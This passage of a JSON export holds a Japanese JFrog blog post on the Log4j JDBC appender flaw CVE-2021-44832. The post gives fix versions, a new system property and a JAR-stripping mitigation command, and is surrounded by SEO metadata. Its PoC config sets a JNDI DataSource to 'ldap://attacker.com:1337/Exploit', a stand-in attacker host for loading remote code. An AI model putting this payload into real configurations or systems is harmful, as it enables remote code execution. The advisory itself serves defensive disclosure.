\u306e\u3088\u3046\u306a\u6587\u5b57\u5217\u3092\u6307\u5b9a\u3059\u308b\u3068\u3001\u8106\u5f31\u3067\u3042\u308b\u30a2\u30d7\u30ea\u304c\u653b\u6483\u8005\u306e\u30b5\u30fc\u30d0\u306b\u30b3\u30f3\u30bf\u30af\u30c8\u3057\u3001\u30ea\u30e2\u30fc\u30c8\u30af\u30e9\u30b9\u3084\u30b7\u30ea\u30a2\u30e9\u30a4\u30ba\u3055\u308c\u305f\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3092\u30ed\u30fc\u30c9\u3057\u3066\u3057\u307e\u3044\u307e\u3059\u3002<\/p>\n<h4>PoC<\/h4>\n<p>\u4ee5\u4e0b\u306f\u3001\u8106\u5f31\u6027\u3092\u8a98\u5f15\u3059\u308b\u6975\u6700\u5c0f\u9650\u306e\u8a2d\u5b9a\u30d5\u30a1\u30a4\u30eb\u3067\u3059\u3002<\/p>\n<pre class=\"language-xml\"><code>\r\n&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;\r\n&lt;Configuration status=\"WARN\" name=\"Config1\"&gt;\r\n  &lt;Appenders&gt;\r\n    &lt;JDBC name=\"jdbcTest\"&gt;\r\n      &lt;DataSource jndiName=\"ldap:\/\/attacker.com:1337\/Exploit\" \/&gt;\r\n    &lt;\/JDBC&gt;\r\n  &lt;\/Appenders&gt;\r\n&lt;\/Configuration&gt;<\/code><\/pre>\n<p class=\"language-xml\">\u524d\u8ff0\u306e\u3088\u3046\u306b\u3001Log4j \u306f\u591a\u304f\u306e\u7570\u306a\u308b\u30d5\u30a9\u30fc\u30de\u30c3\u30c8\uff08JSON\u3001YAML\u3001\u30d7\u30ed\u30d1\u30c6\u30a3\u7b49\uff09\u3092\u4ecb\u3057\u3066\u5229\u7528\u3067\u304d\u308b\u306e\u3067\u3001\u3053\u308c\u306f\u6709\u52b9\u306a PoC \u306e\u4e00\u4f8b\u306b\u904e\u304e\u307e\u305b\u3093\u3002<\/p>\n<p>\u8106\u5f31\u306a\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u304c<span style=\"text-decoration: underline\">\u5b9f\u969b\u306b\u4f55\u304b\u3092\u8a18\u9332\u3059\u308b\u5fc5\u8981\u306f\u3042\u308a\u307e\u305b\u3093<\/span>\u304c\u3001\u30ed\u30ac\u30fc\u306f\u4f8b\u3048\u3070\u4ee5\u4e0b\u306e\u3088\u3046\u306b\u521d\u671f\u5316\u3055\u308c\u308b\u5fc5\u8981\u304c\u3042\u308b\u3053\u3068\u306b\u6ce8\u610f\u3057\u3066\u304f\u3060\u3055\u3044\u3002<\/p>\n<p><code>Logger logger = LogManager.getLogger(\"HelloWorld\");<\/code><\/p>\n<h4>\u30aa\u30d5\u30a3\u30b7\u30e3\u30eb\u306a\u4fee\u6b63<\/h4>\n<p>\u3053\u306e\u554f\u984c\u306f\u3001Log4j2 \u3092\u30d0\u30fc\u30b8\u30e7\u30f3 2.17.1 (Java 8)\u30012.13.4 (Java 7)\u3001\u307e\u305f\u306f 2.3.2 (Java 6) \u306b\u30a2\u30c3\u30d7\u30b0\u30ec\u30fc\u30c9\u3059\u308b\u3053\u3068\u3067\u89e3\u6c7a\u3067\u304d\u307e\u3059\u3002<\/p>\n<p><a href=\"https:\/\/github.com\/apache\/logging-log4j2\/commit\/05db5f9527254632b59aed2a1d78a32c5ab74f16\">\u516c\u5f0f\u306e\u4fee\u6b63\u30d7\u30ed\u30b0\u30e9\u30e0<\/a>\u3067\u306f\u3001JDBCAppender \u306e JNDI \u30b5\u30dd\u30fc\u30c8\u3092\uff08\u30c7\u30d5\u30a9\u30eb\u30c8\u3067\uff09\u7121\u52b9\u306b\u3057\u3001<code>log4j2.enableJndiJdbc<\/code> \u3068\u3044\u3046\u30b7\u30b9\u30c6\u30e0 \u30d7\u30ed\u30d1\u30c6\u30a3\u3092\u8ffd\u52a0\u3059\u308b\u3053\u3068\u3067\u3001\u518d\u5ea6\u6709\u52b9\u306b\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n<p>\u3055\u3089\u306b\u3001JDBC \u306f\u5171\u901a\u306e <code>JNDIManager<\/code> \u30af\u30e9\u30b9\u3092\u518d\u5229\u7528\u3059\u308b\u3088\u3046\u306b\u306a\u308a\u307e\u3057\u305f\u3002\u3064\u307e\u308a\u3001\u300cenableJndiJdbc\u300d\u304c\u8a2d\u5b9a\u3055\u308c\u3066\u3044\u308b\u5834\u5408\u3067\u3082\u3001JNDI \u306b\u95a2\u3059\u308b\u4ee5\u524d\u306e\u3059\u3079\u3066\u306e\u5236\u9650\u304c\u9069\u7528\u3055\u308c\u308b\u3053\u3068\u306b\u306a\u308a\u307e\u3059\uff08\u4f8b\uff1a\u9023\u7d50\u6587\u5b57\u5217\u3067\u8a31\u53ef\u3055\u308c\u308b\u306e\u306f\u30ed\u30fc\u30ab\u30eb\u306e <code>Java<\/code> \u30d7\u30ed\u30c8\u30b3\u30eb\u306e\u307f\uff09\u3002<\/p>\n<h4>\u7de9\u548c\u7b56<\/h4>\n<p>\u3088\u304f\u77e5\u3089\u308c\u3066\u3044\u308b Log4Shell \u306e\u7de9\u548c\u7b56\u3068\u540c\u69d8\u306b\u3001Log4J \u306e JAR \u30d5\u30a1\u30a4\u30eb\u304b\u3089\u300cJdbcAppender.class\u300d\u30d5\u30a1\u30a4\u30eb\u3092\u524a\u9664\u3059\u308b\u3053\u3068\u304c\u7de9\u548c\u7b56\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n<p><code>find .\/ -type f -name <span style=\"font-weight: 400\">\"log4j-core-*.jar\"<\/span><span style=\"font-weight: 400\"> -exec zip -q -d <\/span><span style=\"font-weight: 400\">\"{}\"<\/span><span style=\"font-weight: 400\"> org\/apache\/logging\/log4j\/core\/appender\/db\/jdbc\/JdbcAppender.class <\/span><span style=\"font-weight: 400\">\\;<\/span><\/code><\/p>\n<hr \/>\n<h5><span style=\"color: #40be46\">JFrog<\/span><span style=\"color: #40be46\"> \u306f\u3001Log4J \u306e\u5b58\u5728\u3084\u30ea\u30b9\u30af\u3092\u628a\u63e1\u3059\u308bOSS\u30c4\u30fc\u30eb\u3092\u30ea\u30ea\u30fc\u30b9\u3057\u307e\u3057\u305f<\/span><\/h5>\n<h5 style=\"text-align: left\">\n    <a class=\"button button-primary\"  href=\"https:\/\/github.com\/jfrog\/log4j-tools\" target=\"_self\">\n    <span>\u30b9\u30ad\u30e3\u30f3\u30c4\u30fc\u30eb\u306e\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9<\/span>\n    <\/a>\n    <\/h5>\n","protected":false},"excerpt":{"rendered":"<p>2021\/12\/28 \u66f4\u65b0\uff1aCVE-2021-44832 \u306e\u5f71\u97ff\u8abf\u67fb\u3092\u8ffd\u52a0 2021\/12\/27 \u66f4\u65b0\uff1a\u300cLo &hellip;<\/p>\n","protected":false},"author":387,"featured_media":86023,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[9833,9395],"tags":[9839,9723,9672,9673,9674,9675,9613,9608,9416],"class_list":["post-86126","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-security-and-devsecops-ja","category-xray-ja-2","tag-vulnerability-management-ja","tag-how-to","tag-9672","tag-9673","tag-log4j2-ja","tag-log4shell-ja","tag-xray-ja","tag-java-ja","tag-9416"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v22.6 (Yoast SEO v22.6) - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Log4Shell \u30bc\u30ed\u30c7\u30a4: \u77e5\u3063\u3066\u304a\u304f\u3079\u304d\u3053\u3068 | JFrog \u30d6\u30ed\u30b0<\/title>\n<meta name=\"description\" content=\"\u5148\u9031\u306e\u6728\u66dc\u65e5\u3001Alibaba \u306e\u7814\u7a76\u8005\u304c\u3001\u4eba\u6c17\u306e\u9ad8\u3044Java\u7528 log4j \u30ed\u30ae\u30f3\u30b0\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u3092\u6a19\u7684\u3068\u3057\u30bc\u30ed\u30c7\u30a4\u306e\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3092Twitter\u306b\u6295\u7a3f\u3002\u672c\u4ef6\u306f\u30a2\u30ea\u30d0\u30d0\u30af\u30e9\u30a6\u30c9\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c1\u30fc\u30e0\u304cApache\u306b\u5831\u544a\u3057\u305f\u3082\u306e\u3067\u3059\u3002\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/jfrog.com\/ja\/wp-json\/wp\/v2\/posts\/86126\" \/>\n<meta property=\"og:locale\" content=\"ja_JP\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Log4Shell \u30bc\u30ed\u30c7\u30a4: \u77e5\u3063\u3066\u304a\u304f\u3079\u304d\u3053\u3068\" \/>\n<meta property=\"og:description\" content=\"\u5148\u9031\u306e\u6728\u66dc\u65e5\u3001Alibaba \u306e\u7814\u7a76\u8005\u304c\u3001\u4eba\u6c17\u306e\u9ad8\u3044Java\u7528 log4j \u30ed\u30ae\u30f3\u30b0\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u3092\u6a19\u7684\u3068\u3057\u30bc\u30ed\u30c7\u30a4\u306e\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3092Twitter\u306b\u6295\u7a3f\u3002\u672c\u4ef6\u306f\u30a2\u30ea\u30d0\u30d0\u30af\u30e9\u30a6\u30c9\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c1\u30fc\u30e0\u304cApache\u306b\u5831\u544a\u3057\u305f\u3082\u306e\u3067\u3059\u3002\" \/>\n<meta property=\"og:url\" content=\"https:\/\/jfrog.com\/ja\/blog\/log4shell-0-day-vulnerability-all-you-need-to-know\/\" \/>\n<meta property=\"og:site_name\" content=\"JFrog\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/artifrog\" \/>\n<meta property=\"article:published_time\" content=\"2021-12-28T08:30:17+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2022-01-26T10:21:54+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/speedmedia.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/http:\/\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13041040\/203x148-16-zero-day-vuln.png\" \/>\n\t<meta property=\"og:image:width\" content=\"203\" \/>\n\t<meta property=\"og:image:height\" content=\"148\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"shimonot\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@jfrog\" \/>\n<meta name=\"twitter:site\" content=\"@jfrog\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"shimonot\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"8 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/jfrog.com\/ja\/blog\/log4shell-0-day-vulnerability-all-you-need-to-know\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/jfrog.com\/ja\/blog\/log4shell-0-day-vulnerability-all-you-need-to-know\/\"},\"author\":{\"name\":\"shimonot\",\"@id\":\"https:\/\/jfrog.com\/ja\/#\/schema\/person\/127781e89771b41280ef104b75dd56b0\"},\"headline\":\"Log4Shell \u30bc\u30ed\u30c7\u30a4: \u77e5\u3063\u3066\u304a\u304f\u3079\u304d\u3053\u3068\",\"datePublished\":\"2021-12-28T08:30:17+00:00\",\"dateModified\":\"2022-01-26T10:21:54+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/jfrog.com\/ja\/blog\/log4shell-0-day-vulnerability-all-you-need-to-know\/\"},\"wordCount\":637,\"publisher\":{\"@id\":\"https:\/\/jfrog.com\/ja\/#organization\"},\"image\":{\"@id\":\"https:\/\/jfrog.com\/ja\/blog\/log4shell-0-day-vulnerability-all-you-need-to-know\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13041040\/203x148-16-zero-day-vuln.png\",\"keywords\":[\"vulnerability management\",\"how-to\",\"\u30bc\u30ed\u30c7\u30a4\",\"\u8106\u5f31\u6027\u7ba1\u7406\",\"Log4j2\",\"Log4Shell\",\"Xray\",\"java\",\"\u8106\u5f31\u6027\"],\"articleSection\":[\"Security and DevSecOps\",\"Xray\"],\"inLanguage\":\"ja\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/jfrog.com\/ja\/blog\/log4shell-0-day-vulnerability-all-you-need-to-know\/\",\"url\":\"https:\/\/jfrog.com\/ja\/blog\/log4shell-0-day-vulnerability-all-you-need-to-know\/\",\"name\":\"Log4Shell \u30bc\u30ed\u30c7\u30a4: \u77e5\u3063\u3066\u304a\u304f\u3079\u304d\u3053\u3068 | JFrog \u30d6\u30ed\u30b0\",\"isPartOf\":{\"@id\":\"https:\/\/jfrog.com\/ja\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/jfrog.com\/ja\/blog\/log4shell-0-day-vulnerability-all-you-need-to-know\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/jfrog.com\/ja\/blog\/log4shell-0-day-vulnerability-all-you-need-to-know\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13041040\/203x148-16-zero-day-vuln.png\",\"datePublished\":\"2021-12-28T08:30:17+00:00\",\"dateModified\":\"2022-01-26T10:21:54+00:00\",\"description\":\"\u5148\u9031\u306e\u6728\u66dc\u65e5\u3001Alibaba \u306e\u7814\u7a76\u8005\u304c\u3001\u4eba\u6c17\u306e\u9ad8\u3044Java\u7528 log4j \u30ed\u30ae\u30f3\u30b0\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u3092\u6a19\u7684\u3068\u3057\u30bc\u30ed\u30c7\u30a4\u306e\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3092Twitter\u306b\u6295\u7a3f\u3002\u672c\u4ef6\u306f\u30a2\u30ea\u30d0\u30d0\u30af\u30e9\u30a6\u30c9\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c1\u30fc\u30e0\u304cApache\u306b\u5831\u544a\u3057\u305f\u3082\u306e\u3067\u3059\u3002\",\"breadcrumb\":{\"@id\":\"https:\/\/jfrog.com\/ja\/blog\/log4shell-0-day-vulnerability-all-you-need-to-know\/#breadcrumb\"},\"inLanguage\":\"ja\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/jfrog.com\/ja\/blog\/log4shell-0-day-vulnerability-all-you-need-to-know\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"ja\",\"@id\":\"https:\/\/jfrog.com\/ja\/blog\/log4shell-0-day-vulnerability-all-you-need-to-know\/#primaryimage\",\"url\":\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13041040\/203x148-16-zero-day-vuln.png\",\"contentUrl\":\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13041040\/203x148-16-zero-day-vuln.png\",\"width\":203,\"height\":148,\"caption\":\"Log4shell Vulnerability Explained\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/jfrog.com\/ja\/blog\/log4shell-0-day-vulnerability-all-you-need-to-know\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/jfrog.com\/ja\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Log4Shell \u30bc\u30ed\u30c7\u30a4: \u77e5\u3063\u3066\u304a\u304f\u3079\u304d\u3053\u3068\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/jfrog.com\/ja\/#website\",\"url\":\"https:\/\/jfrog.com\/ja\/\",\"name\":\"JFrog\",\"description\":\"Deliver Trusted Software Releases at Speed and Scale\",\"publisher\":{\"@id\":\"https:\/\/jfrog.com\/ja\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/jfrog.com\/ja\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"ja\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/jfrog.com\/ja\/#organization\",\"name\":\"JFrog\",\"url\":\"https:\/\/jfrog.com\/ja\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"ja\",\"@id\":\"https:\/\/jfrog.com\/ja\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/05\/27095207\/Logo.svg\",\"contentUrl\":\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/05\/27095207\/Logo.svg\",\"width\":74,\"height\":73,\"caption\":\"JFrog\"},\"image\":{\"@id\":\"https:\/\/jfrog.com\/ja\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/artifrog\",\"https:\/\/x.com\/jfrog\",\"https:\/\/www.linkedin.com\/company\/455737\",\"https:\/\/www.youtube.com\/channel\/UCh2hNg76zo3d1qQqTWIQxDg\",\"https:\/\/www.wikidata.org\/wiki\/Q98608948\"],\"description\":\"We set out on our Liquid Software journey in 2008, with the mission to transform the way enterprises manage and release software updates. The world expects software to update continuously, securely, non-intrusively and without user intervention. This hyper-connected experience can only be enabled by automation with an end-to-end DevOps platform and a binary-centric focus. With this in mind, we\u2019ve developed the JFrog Platform, ushering in a new era of DevOps and DevSecOps standards that power continuous updates. More than a decade after our founding, with thousands of customers and millions of users globally, JFrog has become the \u201cDatabase of DevOps\u201d and the de-facto standard in release and update management.\",\"legalName\":\"Jfrog, Inc.\",\"numberOfEmployees\":{\"@type\":\"QuantitativeValue\",\"minValue\":\"1001\",\"maxValue\":\"5000\"}},{\"@type\":\"Person\",\"@id\":\"https:\/\/jfrog.com\/ja\/#\/schema\/person\/127781e89771b41280ef104b75dd56b0\",\"name\":\"shimonot\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"ja\",\"@id\":\"https:\/\/jfrog.com\/ja\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/f6e69354047bcce257a5865c9488cf1bcbb182c48c493f44384da23d9a65c5e3?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/f6e69354047bcce257a5865c9488cf1bcbb182c48c493f44384da23d9a65c5e3?s=96&d=mm&r=g\",\"caption\":\"shimonot\"}}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"Log4Shell \u30bc\u30ed\u30c7\u30a4: \u77e5\u3063\u3066\u304a\u304f\u3079\u304d\u3053\u3068 | JFrog \u30d6\u30ed\u30b0","description":"\u5148\u9031\u306e\u6728\u66dc\u65e5\u3001Alibaba \u306e\u7814\u7a76\u8005\u304c\u3001\u4eba\u6c17\u306e\u9ad8\u3044Java\u7528 log4j \u30ed\u30ae\u30f3\u30b0\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u3092\u6a19\u7684\u3068\u3057\u30bc\u30ed\u30c7\u30a4\u306e\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3092Twitter\u306b\u6295\u7a3f\u3002\u672c\u4ef6\u306f\u30a2\u30ea\u30d0\u30d0\u30af\u30e9\u30a6\u30c9\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c1\u30fc\u30e0\u304cApache\u306b\u5831\u544a\u3057\u305f\u3082\u306e\u3067\u3059\u3002","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/jfrog.com\/ja\/wp-json\/wp\/v2\/posts\/86126","og_locale":"ja_JP","og_type":"article","og_title":"Log4Shell \u30bc\u30ed\u30c7\u30a4: \u77e5\u3063\u3066\u304a\u304f\u3079\u304d\u3053\u3068","og_description":"\u5148\u9031\u306e\u6728\u66dc\u65e5\u3001Alibaba \u306e\u7814\u7a76\u8005\u304c\u3001\u4eba\u6c17\u306e\u9ad8\u3044Java\u7528 log4j \u30ed\u30ae\u30f3\u30b0\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u3092\u6a19\u7684\u3068\u3057\u30bc\u30ed\u30c7\u30a4\u306e\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3092Twitter\u306b\u6295\u7a3f\u3002\u672c\u4ef6\u306f\u30a2\u30ea\u30d0\u30d0\u30af\u30e9\u30a6\u30c9\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c1\u30fc\u30e0\u304cApache\u306b\u5831\u544a\u3057\u305f\u3082\u306e\u3067\u3059\u3002","og_url":"https:\/\/jfrog.com\/ja\/blog\/log4shell-0-day-vulnerability-all-you-need-to-know\/","og_site_name":"JFrog","article_publisher":"https:\/\/www.facebook.com\/artifrog","article_published_time":"2021-12-28T08:30:17+00:00","article_modified_time":"2022-01-26T10:21:54+00:00","og_image":[{"width":203,"height":148,"url":"https:\/\/speedmedia.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/http:\/\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13041040\/203x148-16-zero-day-vuln.png","type":"image\/png"}],"author":"shimonot","twitter_card":"summary_large_image","twitter_creator":"@jfrog","twitter_site":"@jfrog","twitter_misc":{"Written by":"shimonot","Est. reading time":"8 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/jfrog.com\/ja\/blog\/log4shell-0-day-vulnerability-all-you-need-to-know\/#article","isPartOf":{"@id":"https:\/\/jfrog.com\/ja\/blog\/log4shell-0-day-vulnerability-all-you-need-to-know\/"},"author":{"name":"shimonot","@id":"https:\/\/jfrog.com\/ja\/#\/schema\/person\/127781e89771b41280ef104b75dd56b0"},"headline":"Log4Shell \u30bc\u30ed\u30c7\u30a4: \u77e5\u3063\u3066\u304a\u304f\u3079\u304d\u3053\u3068","datePublished":"2021-12-28T08:30:17+00:00","dateModified":"2022-01-26T10:21:54+00:00","mainEntityOfPage":{"@id":"https:\/\/jfrog.com\/ja\/blog\/log4shell-0-day-vulnerability-all-you-need-to-know\/"},"wordCount":637,"publisher":{"@id":"https:\/\/jfrog.com\/ja\/#organization"},"image":{"@id":"https:\/\/jfrog.com\/ja\/blog\/log4shell-0-day-vulnerability-all-you-need-to-know\/#primaryimage"},"thumbnailUrl":"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13041040\/203x148-16-zero-day-vuln.png","keywords":["vulnerability management","how-to","\u30bc\u30ed\u30c7\u30a4","\u8106\u5f31\u6027\u7ba1\u7406","Log4j2","Log4Shell","Xray","java","\u8106\u5f31\u6027"],"articleSection":["Security and DevSecOps","Xray"],"inLanguage":"ja"},{"@type":"WebPage","@id":"https:\/\/jfrog.com\/ja\/blog\/log4shell-0-day-vulnerability-all-you-need-to-know\/","url":"https:\/\/jfrog.com\/ja\/blog\/log4shell-0-day-vulnerability-all-you-need-to-know\/","name":"Log4Shell \u30bc\u30ed\u30c7\u30a4: \u77e5\u3063\u3066\u304a\u304f\u3079\u304d\u3053\u3068 | JFrog \u30d6\u30ed\u30b0","isPartOf":{"@id":"https:\/\/jfrog.com\/ja\/#website"},"primaryImageOfPage":{"@id":"https:\/\/jfrog.com\/ja\/blog\/log4shell-0-day-vulnerability-all-you-need-to-know\/#primaryimage"},"image":{"@id":"https:\/\/jfrog.com\/ja\/blog\/log4shell-0-day-vulnerability-all-you-need-to-know\/#primaryimage"},"thumbnailUrl":"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13041040\/203x148-16-zero-day-vuln.png","datePublished":"2021-12-28T08:30:17+00:00","dateModified":"2022-01-26T10:21:54+00:00","description":"\u5148\u9031\u306e\u6728\u66dc\u65e5\u3001Alibaba \u306e\u7814\u7a76\u8005\u304c\u3001\u4eba\u6c17\u306e\u9ad8\u3044Java\u7528 log4j \u30ed\u30ae\u30f3\u30b0\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u3092\u6a19\u7684\u3068\u3057\u30bc\u30ed\u30c7\u30a4\u306e\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3092Twitter\u306b\u6295\u7a3f\u3002\u672c\u4ef6\u306f\u30a2\u30ea\u30d0\u30d0\u30af\u30e9\u30a6\u30c9\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c1\u30fc\u30e0\u304cApache\u306b\u5831\u544a\u3057\u305f\u3082\u306e\u3067\u3059\u3002","breadcrumb":{"@id":"https:\/\/jfrog.com\/ja\/blog\/log4shell-0-day-vulnerability-all-you-need-to-know\/#breadcrumb"},"inLanguage":"ja","potentialAction":[{"@type":"ReadAction","target":["https:\/\/jfrog.com\/ja\/blog\/log4shell-0-day-vulnerability-all-you-need-to-know\/"]}]},{"@type":"ImageObject","inLanguage":"ja","@id":"https:\/\/jfrog.com\/ja\/blog\/log4shell-0-day-vulnerability-all-you-need-to-know\/#primaryimage","url":"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13041040\/203x148-16-zero-day-vuln.png","contentUrl":"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13041040\/203x148-16-zero-day-vuln.png","width":203,"height":148,"caption":"Log4shell Vulnerability Explained"},{"@type":"BreadcrumbList","@id":"https:\/\/jfrog.com\/ja\/blog\/log4shell-0-day-vulnerability-all-you-need-to-know\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/jfrog.com\/ja\/"},{"@type":"ListItem","position":2,"name":"Log4Shell \u30bc\u30ed\u30c7\u30a4: \u77e5\u3063\u3066\u304a\u304f\u3079\u304d\u3053\u3068"}]},{"@type":"WebSite","@id":"https:\/\/jfrog.com\/ja\/#website","url":"https:\/\/jfrog.com\/ja\/","name":"JFrog","description":"Deliver Trusted Software Releases at Speed and Scale","publisher":{"@id":"https:\/\/jfrog.com\/ja\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/jfrog.com\/ja\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"ja"},{"@type":"Organization","@id":"https:\/\/jfrog.com\/ja\/#organization","name":"JFrog","url":"https:\/\/jfrog.com\/ja\/","logo":{"@type":"ImageObject","inLanguage":"ja","@id":"https:\/\/jfrog.com\/ja\/#\/schema\/logo\/image\/","url":"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/05\/27095207\/Logo.svg","contentUrl":"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/05\/27095207\/Logo.svg","width":74,"height":73,"caption":"JFrog"},"image":{"@id":"https:\/\/jfrog.com\/ja\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/artifrog","https:\/\/x.com\/jfrog","https:\/\/www.linkedin.com\/company\/455737","https:\/\/www.youtube.com\/channel\/UCh2hNg76zo3d1qQqTWIQxDg","https:\/\/www.wikidata.org\/wiki\/Q98608948"],"description":"We set out on our Liquid Software journey in 2008, with the mission to transform the way enterprises manage and release software updates. The world expects software to update continuously, securely, non-intrusively and without user intervention. This hyper-connected experience can only be enabled by automation with an end-to-end DevOps platform and a binary-centric focus. With this in mind, we\u2019ve developed the JFrog Platform, ushering in a new era of DevOps and DevSecOps standards that power continuous updates. More than a decade after our founding, with thousands of customers and millions of users 